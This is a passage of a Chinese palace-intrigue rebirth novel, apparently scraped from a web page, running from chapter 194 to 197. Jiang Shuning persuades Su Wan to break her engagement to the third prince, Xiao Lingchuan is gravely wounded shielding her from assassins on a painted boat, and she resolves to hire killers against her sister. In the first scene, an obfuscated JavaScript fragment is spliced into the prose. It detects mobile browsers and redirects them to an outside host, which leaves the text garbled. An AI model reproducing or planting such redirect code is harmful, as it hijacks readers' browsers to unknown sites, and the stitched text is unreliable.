“非也。”姜姝宁语气放缓,“我此来只想提醒一句:三皇子并非真心想娶你为侧妃,不过是看中苏家的万贯家财,又见你被退婚无路可走,才趁虚而入。你没瞧见吗?他连像样的聘礼都没准备,就敢大张旗鼓宣称与苏家定亲,这算哪门子诚意?” 苏婉咬紧下唇,眼中闪过一丝不甘:“你说得没错,可我如今被退婚,名声尽毁,除了他,还有哪个名门公子会娶我?就算明知三皇子的麟阁宫是火坑,我也只能硬着头皮跳了!” “苏姑娘何必妄自菲薄?以苏家家财万贯,你又是家中独女,婚姻大事何须如此委屈?不如反其道而行,招个入赘的夫婿!如此,苏氏产业依旧牢牢握在你们父女手中,将来诞下子嗣,孩子顺理成章继承家业,岂不快哉?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15876789|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 苏婉一愣,皱眉嘀咕:“入赘的男人多是好吃懒做的废物,我可不想嫁这种货色!” “苏姑娘这话可不对。”姜姝宁不紧不慢地展开一幅画像,露出一个清俊斯文的男子面容,“你瞧,这位是西街的李秀才,才华横溢,本可金榜题名,只因老母重病缠身,他不得不日夜操劳养家,耽误了科考。若你肯让他入赘,他定会以功名回报你的恩情。” 苏婉盯着画像,瞧见李秀才清隽俊朗,隐约有几分五皇子萧怀瑾的风采,不由暗暗心动:“他真长得如此好看?” “自然。”姜姝宁笑得胸有成竹,“这画像是京城名师所绘,与本人分毫不差。” 她又展开另一幅画像,“再看这位,城南的林公子,母亲早逝,摊上个嗜赌成性的父亲,动辄对他拳脚相加,日子过得水深火热。听说他父亲欠下巨额赌债,竟打算将他卖去南风馆!如此容貌昳丽的少年,若就此毁了,岂不可惜?若你肯让他入赘,他定会对你感恩戴德,携手共创佳话!” 苏婉盯着林公子的画像,眼睛都直了:“这……他当真长得如此俊美?” 姜姝宁笑而不语,朝凌芜使了个眼色。 凌芜会意,拍手惊叹:“苏姑娘,奴婢亲眼见过这林公子,画像哪有他本人三分神采?论容貌,堪称貌若潘安,那容色,就连姑娘见了都得自叹不如!日日对着这张脸,饭都能多吃两碗!” 苏婉心头一震,脑海中浮现三皇子萧修湛那张平平无奇的脸,若无皇子身份加持,怕是扔进人群都找不着。 若真跟这样的人成了亲,还得与他后院一群妻妾争宠,未免太委屈自己了。 “你说得对!三皇子毫无娶我的诚意,不过是觊觎苏家的财富!我虽是女子,却不比男人差,定能替爹爹守住家业!谁说女子非得嫁人?我偏要招亲,挑个入赘的夫婿,为苏氏开枝散叶!” 姜姝宁与凌芜对视一眼,齐声笑道:“苏姑娘果然是女中豪杰!” 苏婉哼了一声,斜睨姜姝宁:“还有别的画像没?快拿出来让我瞧瞧,今日非得挑个最合心意的!” 姜姝宁笑意更深:“好说,苏姑娘慢慢挑,保你满意!” 第194章 他需要像姜姝宁这样的女人 第一百九十四章 他需要像姜姝宁这样的女人 送走姜姝宁和凌芜后,苏婉便抱着那叠男子的画像直奔苏老爷的书房。 她直截了当地开口:“爹爹,女儿想跟三皇子退亲,再以招亲的方式寻个合适的男子入赘我们苏家,为苏家开枝散叶!” “什么?”苏老爷眼珠子瞪得溜圆,“婉儿,你才刚被五皇子退亲,若不是爹应下三皇子这门亲事,咱们苏家在京城都快抬不起头来了!你如今竟说要退亲,这让爹的脸往哪搁呀!” 他顿了顿,似乎想起什么,“爹听说今日姜姑娘来我们府上,莫不是她使坏,教唆你干这糊涂事?我这就去姜府找姜丞相理论!” “爹爹,您先别急着生气嘛!”苏婉连忙拉住苏老爷,“女儿不是被谁教唆的,是我自个儿想明白的!您想想,当初若不是三皇子妃推波助澜,女儿怎会如此妒恨姜姝宁,甚至不惜一切代价陷害她?如今我名声扫地,五皇子立马退婚,这三皇子倒好,见我无路可走,立马就来提亲,摆明了不是真心娶我,就是冲着咱们苏家的家财来的,想趁机捡漏!” 苏老爷闻言,脸色一变:“莫非这事儿从头到尾都是三皇子夫妇设下的圈套?先是挑拨你去害姜姝宁,害得你被五皇子退婚,他们好得渔翁之利?!” “爹爹,您也觉得蹊跷吧?”苏婉趁热打铁,压低声音,“他们夫妇俩跟蛇似的,又狡猾又毒辣,爹爹您就女儿一个心肝宝贝,怎舍得让我跳进那狼虎之穴?再说了,三皇子那一堆妻妾,女儿从小就不爱跟人分享东西,更别提夫君了,若真嫁过去,岂不是得憋屈死?” 苏老爷越想越觉得有道理,皇室行事向来霸道,若真存了私吞苏家家业的心思,他们一个商贾之家,根本毫无还手之力。 到时候,女儿受了委屈,家财也保不住,那才是真正的万劫不复。 “况且……”苏婉故意拉长了声音,卖了个关子。 “况且什么?”苏老爷追问道。 苏婉嘟起嘴:“况且那三皇子相貌平平无奇!女儿从小就喜欢漂亮的东西,若嫁给个不好看的夫君,天天对着那张脸,得多憋屈啊!” 苏老爷无语凝噎,嘴角微抽。 要是被自诩风流倜傥、阅女无数的三皇子知道自家女儿嫌弃他长相平庸,怕是要气得跳脚,恨不能找个地缝钻进去吧! 他沉吟片刻,脸色稍缓:“三皇子的婚事可以退,可你说的招亲……还是算了吧!这天底下的男子心气都高,谁会愿意入赘?怕不是些贪婪无耻之辈!” “爹爹,您这话可就错了!这世上多的是境遇不好却才华横溢的好男儿,只要咱们伸出援手,他们定会感恩戴德。爹爹辛苦半生才有苏家这份财富,难不成真要拱手让给外人?倒不如留给女儿将来生下的儿子继承!” 这话戳中了苏老爷的心窝,他眼神渐渐动摇,喃喃道:“你说的倒也有几分道理,可……可三皇子那边已经来提过亲了,满京城的人都知道了。我们此时拒婚,岂不是公然下面子?” 苏婉冷笑一声,语气里满是不屑:“面子?他提亲连正经的聘礼都没送来一份,不过是动动嘴皮子罢了,这算哪门子的提亲?再说了,当初五皇子说退婚就退婚,何曾顾及过我们苏家的面子?既然他们皇家可以不仁,我们又何须顾及他们的脸面?” “婉儿说的有理!”苏老爷当即下定决心,声音都抬高了几分,“他皇家不给咱们脸,咱们也没必要上赶着去贴!爹爹这就让人给三皇子府传信,这门亲,我们苏家不结了!” 苏婉一听这话,心头大喜。 “爹爹英明!那这些画像,咱们细细挑一挑,定要选个最合心意的上门女婿!” 苏家公然退了三皇子的婚事,还放出风声要为苏婉招亲的消息,不过几日便传遍了京城。 茶楼酒肆里,议论声此起彼伏,连带着熙妃妃位被降之事也被翻出来嚼舌根。 高门世家私下里纷纷揣测:莫非三皇子萧修湛当真失了宠? 否则一个区区商贾之女,为何宁可招亲,也不愿嫁给皇子当侧妃? 麟阁宫内,姜瑶真听到这个消息时,气得浑身发抖。 “岂有此理!”她尖利的嗓音在屋里回荡,吓得一众婢女噤若寒蝉,跪在地上头也不敢抬。 “那个苏婉是猪脑子吗?放着好好的皇子侧妃不做,去招什么上门女婿?她疯了不成!”姜瑶真胸口剧烈起伏,一想到苏家那泼天的富贵就这么从指缝里溜走,她就心如刀绞。 那可是源源不断的金山银山,是她日后在后院立足、为萧修湛笼络人心的最大资本! 现在全泡汤了! 春花小心翼翼地上前,低声道:“娘娘息怒……奴婢派人去打听了,听说这事,是大小姐给苏姑娘出的主意。” 姜瑶真猛地回头,眼神淬了毒一般:“你说谁?” “是……是大小姐。”春花被她看得头皮发麻,“大小姐前几日应邀去了一趟苏府,当天苏姑娘就跟苏老爷闹着要退婚招婿了,想来,定是大小姐和她说了什么。” “姜姝宁!” 姜瑶真从牙缝里挤出这个名字,仿佛要将它嚼碎了吞下去。 又是她!又是这个阴魂不散的贱人! 自己每一步棋,似乎都会被她轻而易举地破坏掉。 一想到那个本该被自己随意拿捏、予取予求的商贾之女苏婉,就这样被姜姝宁三言两语给说动,彻底脱离了掌控,姜瑶真心头那股无名火就烧得她五脏六腑都疼。 “姜姝宁,你真是我最大的绊脚石!”姜瑶真指甲深深嵌入掌心,眼神怨毒。 而此时的萧修湛,在书房里听着下属的禀报,脸色阴沉得能滴出水来。 苏家拒婚,这无疑是当众给了他一记响亮的耳光。 他堂堂一个皇子,竟被一个商户之女拒婚,传出去他还有何颜面立足? 可当他听到,这一切的始作俑者是姜姝宁时,那股滔天的怒火竟鬼使神差地灭了,甚至腾起了一丝奇异的感觉。 姜姝宁?她为什么要去搅黄他的亲事? 一个念头毫无预兆地从他心底冒了出来。 难道……她是在吃醋? 难道她对自己其实并非毫无情意,所以才不愿看到自己迎娶别的女子,哪怕只是一个侧妃? 这个念头一冒出来,便如野火燎原般在心头蔓延开来,瞬间占据了他的整个思绪。胸口那股被羞辱的憋闷之气,竟奇迹般地消散了许多。 他忽然觉得,就算得不到苏家的万贯家财,似乎也没那么难以接受了。 不久前,他派去南朔城的眼线回来禀报,告诉他一个令他震惊的真相——当初南朔城危在旦夕,局势几近崩塌,正是女扮男装的姜姝宁临危不乱,果断带着大夫及时赶到,才助萧凌川力挽狂澜,扭转了那濒临绝境的败局。 这样一个聪慧绝伦、胆识过人的贵女,怎能不让人心驰神往? 萧修湛的指节轻轻敲击着桌面,眼底的阴霾渐渐散去,取而代之的是一种深沉的、带着算计的欣赏。 他太需要一个像姜姝宁这样的女人了。 一个能看穿人心,能于无声处布局,能助他翻盘的女人。 若是能得到她的助力…… 萧修湛的嘴角缓缓勾起一抹意味不明的弧度。 他不信,自己还赢不过萧凌川那个南月贱种! —— 成功说服苏老爷同意招亲后,苏婉的婚事没过多久便定了下来。 她亲自登门,将请帖递到姜姝宁手中,眉眼含笑,郑重道:“姜姑娘,婚宴之日,你可务必赏脸前来!” 姜姝宁接过请帖,见她面若桃花,眉梢眼角皆是掩不住的喜意,不由打趣道:“瞧苏姑娘这春风满面的模样,定是挑了个十分合心意的夫婿。恭喜苏姑娘,得偿所愿!” 苏婉掩唇一笑,眼中闪着几分得意:“我与爹爹反复斟酌,最终选定了李秀才。他满腹才学,将来孩子随他学些才识,定能聪慧过人。就算日后从商,也绝非寻常商人可比! 至于林公子,唉,他身世实在可怜,我便求爹爹出钱替他赎身,将他从那赌鬼父亲手中救出。如今他在苏家银楼当掌柜,你猜怎么着?那些京中世家贵女为了一睹他的风采,三天两头往银楼跑,生意竟比从前好了足足五成!” 姜姝宁听罢,忍不住笑出声来:“做生意,还是得看你们苏家!” “那是自然!”苏婉笑着上前,亲昵地拉住姜姝宁的手,语气中透着几分真诚,“姜姑娘,过去是我有眼无珠,算计你在先,可你不计前嫌,还为我出谋划策。我 日后的幸福美满,有你一半的功劳!从今往后,若你有任何需要帮忙之处,只需一句话,我苏婉和整个苏家,定当倾力相助!” 姜姝宁闻言,眼中笑意更深,轻轻拍了拍她的手:“多谢苏姑娘这份心意。你可得说话算话!” “放心!”苏婉拍着胸脯,语气坚定,“我们商贾之家虽重利,但能积累万贯家财,靠的就是一个‘信’字!我苏婉一言九鼎,绝不食言!” 第195章 画舫上遭遇刺杀 第一百九十五章 画舫上遭遇刺杀 苏婉离开后,凌芜凑上前来,满眼都是崇拜:“大小姐,您真厉害!不久前那苏姑娘还把您当眼中钉肉中刺,恨不得除之而后快,这才几天功夫,您就让她化干戈为玉帛,巴巴地跑来给您当靠山了!” “敌人自然是越少越好。”姜姝宁神色浅淡,“不过,苏家最多只能算是一份助力,远远称不上靠山。这世上,人能依靠的永远只有自己。女子,尤其如此。” 凌芜似懂非懂地点点头,随即又笑了起来:“大小姐,您不过才十几岁的年纪,怎么说起话来竟如此深奥,倒像是……倒像是把这人生都看透了似的。” 姜姝宁唇角勾起一抹极淡的苦笑,那笑意未达眼底,便已消散在冰冷的空气里。 前世那般可悲的下场,若这还看不透,那她真是白白重活一世了。 当日,姜姝宁不仅收到了苏婉大红洒金的婚宴请帖,还收到了萧凌川的邀约。 他邀她于翌日午后,同乘画舫游览幽兰湖,共赏漫天雪景。 游画舫? 前世,萧凌川从未与她有过这般浪漫之举。 当皇子时,他便是出了名的孤僻冷傲,不苟言笑,总是独来独往。 唯有在姜瑶真参加的宴席上,他才会出现。 成婚后,萧凌川更是将她当个喘气的摆件,需要时物尽其用,不需要时从未想起她,更别提讨她欢心了。 姜姝宁看着窗外纷纷扬扬的飘雪,发出一声极轻的嗤笑:“这天寒地冻的,雪下得跟鹅毛似的,还游什么画舫?王爷可真是有闲情逸致!” 凌芜生怕她一口回绝,连忙道:“大小姐,您有所不知!这雪中游船别有一番景致!画舫里燃着暖炉,温上一壶热酒,隔着窗看那湖山一色,雪落无声,美得就像画里一样!” “是么?”姜姝宁神色浅淡,将那请帖随手搁在桌上,“那便去吧。” 她顿了顿,唇角那抹讽刺的弧度愈发明显,“想来,是我说服苏姑娘与三皇子退婚一事,让王爷看到了我这个盟友的价值,这是想要嘉奖我一番呢!” 凌芜的眼尾微抽。 什么嘉奖不嘉奖的,王爷分明就是想寻个由头见您! 要是换做别的女子,早就心花怒放了,大小姐,你当真是油盐不进啊! 第二日,幽兰湖畔,寒风卷着雪沫子,吹得人脸颊生疼。 姜姝宁一下马车,便看见了等在岸边的萧凌川。 他身着一件月白色的锦袍,外罩一件玄狐皮的黑色大氅,长身玉立,墨发以一根简单的玉簪束起,是京城寻常富贵公子的装扮。 只是,他身后那艘画舫,可半点都不“寻常”。 那画舫雕梁画栋,三层楼高,船身通体由名贵的金丝楠木打造,檐角挂着精致的琉璃风灯,即便在白日里,也透着一股子奢靡的气息。 这般张扬的手笔,引得湖边本就不多的游客,都频频朝他们这处张望,指指点点。 “王爷好大的手笔。”姜姝宁走上前,微微屈膝行礼,语气听不出喜怒。 萧凌川的目光落在她身上,深邃的眸中漾开一抹浅笑:“为博佳人一笑,这些都是应该的。” 这行事方式还真是……跟前世大相径庭。 前世的他,最是厌恶旁人瞩目,行事低调隐秘。 如今这般高调,也不怕遭人嫉妒,惹来非议。 姜姝宁敛下眸中的思绪,抬起头,脸上绽开一个温婉柔和的笑容,故意问:“不知王爷今日肠胃可还好?有按时服用臣女为您开的那副药方吗?” 提起这事,萧凌川脸上的笑容瞬间凝固了。 他要是真敢服用她开的那副的药方,那他就真的好不了了! 她是懂得如何让他无言以对的。 两人一前一后上了画舫。 船舱内温暖如春,燃着上好的银骨炭,闻不到一丝烟火气。 早有侍女奉上热茶与精美的糕点,角落里还有乐师在弹奏着悠扬的古琴曲,正如凌芜所说,隔着琉璃窗向外望去,天地茫茫,湖山一色,的确是难得的雪景。 这一刻,抛开身边这个让她心绪复杂的人,姜姝宁的心情是愉悦的。 人世间有这样多的美景,有这样多的好物,凭什么要为了一个男人,将自己困死在一方深宅之内? 此生,她定要好好活着,看遍山河,长命百岁。 萧凌川像是铆足了劲要讨好她,言语间不再是往日的清冷寡言。 他先是夸她不费吹灰之力便解决了苏家女的婚事,釜底抽薪,断了三皇子的一大助力。 而后又不停地为她布菜,劝她多用些点心,那殷勤的模样,若是让前世的姜姝宁见了,怕是会以为自己身在梦中。 姜姝宁只是扯了扯嘴角,安静地听着,偶尔附和一两句,并不多言。 原来,他不是不会讨人欢心,不是不懂风月。 只是前世的她,爱得太满,太卑微,太易得,所以他不屑于,也懒得花费任何心思来讨好罢了。 今生他越是对她好,她就越为前世那个痴傻的自己感到不值。 何必呢? 为一个男子,赔上一生,蹉跎所有年华,真是蠢得无药可救。 不知不觉,天色渐晚,夜幕开始一点点吞噬天光。 姜姝宁放下茶盏,起身道:“天色不早了,臣女也该回府了。” 萧凌川闻言,立刻出声挽留:“再等一等,待会儿画舫上会点满灯火,映着这湖上白雪,更是夺目。” 姜姝宁却不想再继续待下去了。 与他相处的每一刻,都像是在提醒她前世有多愚蠢。 她摇了摇头,态度坚决:“多谢王爷美意,只是家父尚在府中等候,实不便久留。” 见她执意要走,萧凌川眼中闪过一抹失落。 他只能无奈地吩咐一旁的凌风:“去,让人将灯笼都点上吧。” 随着他一声令下,画舫四周悬挂的数百盏灯笼被一一点亮。 橘黄色的温暖光芒瞬间驱散了暮色带来的寒意,将整艘画舫照得恍如白昼,也照亮了萧凌川那张俊美出众的面容。 灯火流光中,他静静地看着她,那双向来深不见底的多情桃花眼,此刻盛满了毫不掩饰的期待与温柔,仿佛夜空中最亮的星辰,直直地坠入她的心底。 那一刻,姜姝宁的心口像是被一只无形的手狠狠攥住,猛地一缩。 她忽然有一种强烈的冲动,想冲到他面前,揪着他的衣襟,歇斯底里地质问他,前世为何那般对她? 就算不爱她,就算埋怨她当年以清誉相逼,让他不得不娶她为妻,也不应该待她那般残酷! 让她喝了整整十年的避子汤,日日夜夜盼着一个永远不会到来的孩子,在一日又一日的失望与空寂中,蹉跎掉一辈子! 何等的残忍! 可话到了嘴边,千言万语,却被她如数咽了回去。 无所谓了。 前世的怨,前世的恨,早应随着她的死亡而尘封。 今生,哪怕他有心弥补,也无济于事。 碎了的镜子,再也无法重圆。 她收回目光,最后朝他福了福身子,转身便要离开。 可就在她转身的一刹那,异变陡生! 画舫之上,不知从何处突然冒出数个手持利剑的黑衣人,他们身上带着浓重的杀气,目标明确,如鬼魅般,疯狂地朝着姜姝宁的方向刺来! “小心!” 萧凌川的厉喝声与凌风、凌芜的惊呼声同时响起。 电光石火间,他已将她护在身后,与凌风、凌芜并肩迎向刺客。 刀剑相击的声音刺耳尖锐,画舫上瞬间陷入一片混乱。 不过片刻,黑衣人们便落了下风。 他们对视一眼,其中一人猛地从怀中掏出一把灰色的粉末,狠狠朝萧凌川等人洒去! 那粉末带着一股异香,萧凌川和凌风、凌芜猝不及防,视线瞬间模糊,动作也迟滞了一瞬。 就是这一瞬的功夫,剩下的黑衣人绕开了他们,如嗜血的饿狼,直直地冲向了姜姝宁! 他们目标很明确,是想要她的命! 姜姝宁心头一紧,手臂上的袖箭瞬间激发,银光闪过,只射中了冲在最前面的两个黑衣人。 另外几人依旧不管不顾,手中的长剑泛着森冷的寒光,紧紧相逼! 她被逼得连连后退,后背很快就抵上了冰冷的船舷。 下方便是黑沉沉、冰冷刺骨的湖面,寒气仿佛能透过船板,钻进她的骨髓。 她落过水,知道那种口鼻被冰水灌满,肺部灼烧,一点点窒息而亡的感觉有多么可怕。 恐惧像一张无形的巨网,将她牢牢缚住,让她浑身抑制不住地颤抖起来。 就在她犹豫的这一刹那,黑衣人的利剑已经带着破风之声,朝着她的面门狠狠砍来! 姜姝宁瞳孔骤缩,几乎是下意识地闭上了眼睛—— 然而,预想中的剧痛并未传来。 耳边却响起一道皮肉被利刃撕 裂的、令人头皮发麻的恐怖声音。 姜姝宁猛地睁开眼,整个人都僵在了原地。 只见萧凌川不知何时竟挣脱了对手,以一种不可思议的速度挡在了她的身前。 那柄本该砍向她的长剑,此刻正从他的胸口贯穿而过,剑尖带着淋漓的鲜血,从他的后背透出。 温热的液体,猛地溅了她满脸,带着一股浓重的血腥味。 时间仿佛在这一刻静止了。 她只能眼睁睁地看着他,看着他胸前那朵迅速绽开的、妖冶的血花,看着他脸上闪过的错愕与痛苦,看着他缓缓低下头,望向自己胸前的剑…… 第196章 与死神的拉锯战 第一百九十六章 与死神的拉锯战 “王爷!” 凌风双目赤红,狠狠劈向那黑衣人持剑的手臂! “咔嚓——” 伴随着黑衣人凄厉的惨叫,那只握着剑的手齐腕而断,掉落在甲板上。 但一切都为时已晚。 萧凌川高大的身躯猛地一晃,再也支撑不住,沉重地跪倒在姜姝宁的面前。 他猛地呛咳一声,暗红的血沫从他惨白的唇角溢出,一滴一滴,落在姜姝宁素白的裙摆上,刺目惊心。 姜姝宁下意识地伸出手,牢牢地抱住了他摇摇欲坠的身体。 他的重量压在她身上,滚烫的体温和浓得化不开的血腥气将她彻底淹没。 她的声音抖得不成样子:“王爷、王爷……你为何……要替臣女挡下那一剑?” 萧凌川费力地抬起眼,那双向来深不见底的墨眸此刻已经开始涣散,他看着她,脸上竟扯出一个比哭还难看的惨淡笑容。 “前世……本王没能……护你周全,今生……绝不能……再有……相同遗憾……” 话音未落,他眼中的最后一丝光亮也彻底熄灭,彻底栽倒在她身上,不省人事。 “王爷——” 尖利的悲鸣冲破了姜姝宁的喉咙。 震惊、心疼、惊慌……无数种复杂的情绪交织成一只无形的大手,死死地攥住她的心脏,疯狂地撕扯着,疼得她几乎要窒息。 不,他不能死! 她疯了一般,用沾满他鲜血的手去掐他的人中,声音凄厉:“萧凌川,你不要睡,你给我醒过来!快醒来!” 可他毫无反应,像一尊逐渐冰冷的玉石。 姜姝宁强迫自己冷静,脑海中拼命回忆孙神医传授的急救之法。 她颤抖着解开他满是血迹的外袍,手指在冰冷的肌肤上摸索,找到胸腹间的几处要穴,试图为他止血。 她又手忙脚乱地从袖中掏出随身针包,抓出最长的一根银针,连看都不敢多看一眼,凭着本能狠狠刺入他的百会穴。 一边做着这一切,她一边语无伦次地低声呢喃,像是在恳求他,又像是在安抚自己:“你答应过我的,要为我大哥报仇……萧凌川,你不能食言……你绝不可以死……” 凌风还算冷静,他一脚将那断手的刺客踹翻在地,对着闻声而来的王府侍卫厉声下令:“快,让船夫立刻靠岸!这些人,一个都别放跑了,务必给留活口!” 侍卫们得令,迅速将负隅顽抗的黑衣人们团团围住。 然而,那些黑衣人对视一眼,竟像是早就商量好的一般,纷纷闷哼一声,软倒在地。 凌风心中一沉,快步上前探查,只见每个人都已没了气息,乌黑的毒血正从他们的嘴角缓缓溢出。 “该死!” 竟然是早就抱了必死之心的死士! 线索,就这么断了! 他强压下心中的暴怒与悲痛,快步走到姜姝宁身边,对着一旁同样手足无措的凌芜嘱咐道:“看好姜姑娘和王爷,我立刻上岸去找孙神医!” 说罢,他足尖一点,在画舫堪堪靠岸的瞬间,便飞身而起,消失在了沉沉的夜色之中。 等待的时间,每一分每一秒都像是在滚油中煎熬。 姜姝宁抱着萧凌川,不断地为他施针,按压穴位,可那血仿佛流不尽似的,很快便将她整个人都浸透了。 她成了一个血人,全身被血腥味裹挟,第一次真切地感受到,这个男人,这个曾不可一世、强悍无匹的存在,随时可能从她的生命中消失。 他步步为营,历经生死,为何能毫不犹豫以命护她? 这份沉重到令人窒息的恩情,如泰山压顶,她要如何偿还? 不知过了多久,凌风终于带着孙神医赶了回来。 孙神医看到萧凌川的伤势,眉头便紧紧地锁了起来。 他快步上前,手指搭上萧凌川的腕脉,又查看了一下他胸前的伤口。 半晌,他长长地叹了一口气,脸上是姜姝宁从未见过的为难与凝重。 “这一剑……不偏不倚,刺中了肺腑。加上王爷失血过多,脉象虚浮,恐怕……” 凌风闻言,“噗通”一声跪在了孙神医面前,眼眶通红:“孙神医,求求您,一定要救救王爷!无论付出什么代价,都请您一定要救救他!” 孙神医扶起他,沉声道:“老夫只能说,尽力一试。” 说罢,他的目光转向了一身血污、惊魂未定的姜姝宁:“姜姑娘的急救手法很对,为王爷争取了不少时间。现在,老夫需要你搭把手,你我一同为王爷施针,或许还有一线生机!” “是,孙神医!”姜姝宁立刻应道,仿佛在漆黑的隧道里看到了一丝亮光。 她的情绪在这一刻奇迹般地平复下来,转头对一旁的凌芜冷静地吩咐道,“凌芜,你即刻回府,告知我父亲,就说我今夜有要事,不能回府了,让他放宽心,不必为我担忧。” “是,大小姐!”凌芜领命,连忙转身离去。 画舫的暖阁很快被清了出来,变成了临时的病房。 姜姝宁和孙神医两人屏退了所有人,关上房门,只留下两盏烛台照明。 一场与死神的漫长拉锯战,就此展开。 暖阁里的时间仿佛流逝得格外缓慢。 一根又一根的银针被刺入萧凌川的穴位,烛火燃尽了一支又一支,窗外的天光从熹微晨光,到日上三竿,再到夕阳西下,最后又重新归于沉沉的黑暗。 姜姝宁和孙神医两人滴水未进,不眠不休,全神贯注。 她的额头上布满了细密的汗珠,脸色比躺在床上的萧凌川还要苍白,嘴唇干裂起皮,双眼也因长时间的专注而布满血丝。 到后来,她的手臂已经酸麻得快要抬不起来,每一次捻动银针,都像是用尽了全身的力气。 可她不敢停,也不能停。 她能清晰地感受到,萧凌川的脉搏,在他们的努力下,从微弱得几乎不可闻,一点点,一点点地变得有力起来。 他胸口伤处的出血量,也从一开始的汩汩流淌,变成了缓慢的渗出。 生的希望就在眼前。 又是一个漫长的黑夜过去。 当第一缕晨曦透过窗棂的缝隙,照亮了暖阁里漂浮的尘埃时,孙神医终于长长地舒了一口气,用袖子擦了擦额上的汗。 他收回最后一根银针,声音沙哑得如同被砂纸磨过,却带着一股如释重负的喜悦。 “血……止住了。” 这三个字,轻飘飘的,却像是一道天籁,重重地砸进了姜姝宁的耳朵里。 她紧绷了整整一日一夜的神经,在这一刻骤然松懈。 一股排山倒海般的疲惫感瞬间席卷了她的四肢百骸,眼前一黑,身体便软软地向后倒去。 “大小姐!” 守在门外的凌芜一个箭步冲了进来,及时扶住了她摇摇欲坠的身体。 “孙神医……王爷他如何了?”凌芜扶着姜姝宁,小心翼翼地问。 “王爷的血止住了,命算是暂时保住了。接下来,便要看王爷自己的造化了。他内脏破损严重,万万不能移动,这段时日,只能暂时委屈王爷,在这画舫上疗养了。” 随后进屋的凌风闻言,高悬了两天两夜的心脏终于重重落回了胸腔。 他对着孙神医和姜姝宁,深深地、郑重地行了一礼。 “凌风替王爷多谢孙神医、姜姑娘的救命之恩!我定会派人将这画舫围得如铁桶一般,护王爷周全!” 姜姝宁本欲开口让他不必客气,可身心早已到达极限,眼皮一沉,彻底失去了意识…… 第197章 以牙还牙 第一百九十七章 以牙还牙 姜姝宁睁开眼,发现自己躺在画舫暖阁的软榻上。 凌芜端着一碗药汤进来,见她醒了,忙放下碗扑到榻边:“大小姐,您终于醒了!您睡了一天一夜,奴婢担心坏了!” 姜姝宁揉了揉太阳穴,声音低哑:“王爷他如何了?” “还在昏睡,但孙神医来给他把过脉,说他脉象趋于平稳,再修养一段时日,定会好起来。”凌芜说着,眼底闪过一丝庆幸。 “那就好。”姜姝宁长舒一口气,心头那块巨石稍稍松动。 “大小姐受惊了。”凌芜低声道,“没想到那些死士竟能混上画舫,伤了王爷。如今凌风十分自责,觉得是他没排查好,害了您和王爷。” 姜姝宁回忆起那晚惊心动魄的一幕,不免心有余悸。 那些黑衣人,动作迅猛,杀意凛然,分明是冲着她来的。 是谁那么想杀她,不惜买通死士,混迹在画舫上,执意要她的命? “不怪他,要怪就怪指使这些死士杀我的人。”她眼神一冷,像是想到什么,问,“这几日我没回府,府上可有什么异样?” 凌芜摇了摇头,犹豫了片刻,才道:“没什么异样……不过,二小姐似乎回过一次相府。夏蝉说,她一个劲儿地问大小姐你去哪儿了。老爷怕你夜不归宿的事会影响声誉,没跟她说明,只说你回徐州探亲了,可她竟说要去徐州见您。大小姐,二小姐从未这么关心过你,还真是稀奇!” 姜姝宁冷笑一声,笑意却不达眼底:“她哪里是关心我,她是想看我死没死!” 凌芜一惊,瞪大了眼睛:“大小姐,您的意思是……” “那些死士,八成是她派来杀我的。”姜姝宁眉眼阴鸷,声音低得像从牙缝里挤出来,“姜瑶真,你果然心狠手辣!” 也好,既然姜瑶真敢对她下这样的毒手,那就别怪她以牙还牙! “把凌风叫来,我有话问他!”姜姝宁沉声吩咐。 凌芜连忙点头,匆匆跑了出去。 不多时,凌风推门而入。他一身黑衣,腰间佩剑,眉宇间带着几分疲惫和自责,见到姜姝宁,躬身行礼:“姜姑娘。” 姜姝宁直截了当地问:“凌风,你可知哪里能找到专门培养死士的组织?” 凌风皱了皱眉,沉声道:“王爷麾下的暗卫遍布整个大邺,有专门的情报网。只是……没有王爷的亲口命令,属下也无权驱使他们去查这些江湖组织。姜姑娘是想找出那夜的幕后指使之人?” “指使的人我已知道。”姜姝宁冷笑,眼中闪过一抹狠厉,“我是想用双倍的价格买通新一批死士,以其人之道还治其人之身!” 凌风一愣,显然没想到她有这种打算。 他迟疑了一下,低声道:“姜姑娘,这事……风险太大。死士多是亡命之徒,忠于金主,若是买通不成,反倒泄露了您的意图,只怕会引来更大的麻烦。” “江湖上的死士办事,无非是为了钱财,没有人会跟钱过不去。况且,就算他们将我想杀那人的意图泄露出去,我也不怕!” 姜姝宁的神色阴鸷得吓人,像淬了寒冰的刀刃,一字一句,都带着敲骨吸髓的恨意,“我,就是要让姜瑶真知道,我想杀她!” “可是……”凌风面露难色,“如今王爷身负重伤,被困在这画舫上,我们的人手都得日夜守着,以防再有变故。实在是分 身乏术,无法护得姜姑娘周全。姜姑娘可否……可否再忍一忍?待王爷醒来,他定会为您讨回公道!” “王爷是你们的主心骨,如今他重伤昏迷,你们不敢轻举妄动,我能理解。”姜姝宁的目光越过凌风,落在不远处另一个软榻上那个气息微弱的身影上,声音不由得放轻了些,“此事,我会自己想办法,你们只需要护住王爷即可。” 她缓缓站起身,走到萧凌川的榻边,俯身看着他苍白如纸的脸。 那张平日里让她避之不及的俊美面容,此刻却毫无生气,只有胸口微弱的起伏,证明他还活着。 若不是为了护着她,他何至于此? “王爷舍身救我,身负重伤,若不给那罪魁祸首应有的惩罚,我咽不下这口气!也觉得对不住王爷!” 凌风看着她决绝的侧脸,知道再劝无用。 他无奈地叹了口气,只能抱拳道:“姜姑娘一切小心!” …… 麟阁宫内,萧修湛勃然大怒:“你疯了,竟派死士刺杀你姐姐?若被萧凌川知道,你就不怕他杀了你?” 姜瑶真不以为然:“殿下这么紧张做什么?从刺杀那夜到现在,萧凌川一直龟缩在幽兰湖的画舫上,至今都不曾露面。他的亲卫将整条画舫围得形如铁桶,连只苍蝇都飞不进去。妾身猜测,他可能是在保护姜姝宁的时候受了重伤,或者……已经死了!” “真的?”萧修湛挑了挑眉,怒气稍减,疑虑却浮上心头,“可这萧凌川向来小心谨慎,诡计多端,当初在冷宫那样的地方都能存活下来,当真那么轻易就被几个死士杀死?” 